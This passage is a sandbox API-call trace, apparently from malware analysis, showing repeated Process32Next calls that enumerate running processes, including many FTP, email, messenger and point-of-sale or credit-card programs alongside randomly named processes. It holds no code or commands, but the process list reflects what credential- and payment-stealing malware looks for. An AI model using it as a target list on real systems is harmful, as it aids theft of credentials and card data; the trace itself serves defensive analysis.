th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.874] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0248.876] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.877] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.879] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.881] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.883] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.884] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.886] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.888] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0248.890] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0248.892] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0248.893] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.944] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0248.946] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0248.948] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0248.949] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0248.951] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.953] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0248.955] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0248.957] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0248.959] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0248.961] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0248.963] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0248.965] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0248.967] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0248.969] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0248.971] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0248.973] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0249.038] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0249.041] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0249.042] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0249.044] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0249.046] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0249.048] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0249.050] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0249.052] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0249.054] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0249.056] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0249.058] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0249.060] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0249.061] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0249.063] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0249.064] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0249.066] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0249.068] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0249.070] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0249.071] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0249.074] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0249.076] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0249.079] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0249.137] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0249.139] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0249.142] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0249.145] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0249.147] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0249.149] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0249.151] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0249.154] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0249.156] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0249.158] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0249.160] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0249.163] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0249.165] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0249.167] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0249.170] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0249.171] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0249.173] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0249.225] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0249.227] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0249.229] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0249.231] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0249.234] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0249.236] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0249.238] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0249.240] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0249.243] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0249.245] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0249.247] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0249.249] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0249.251] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0249.256] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0249.258] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0249.260] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0249.262] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: 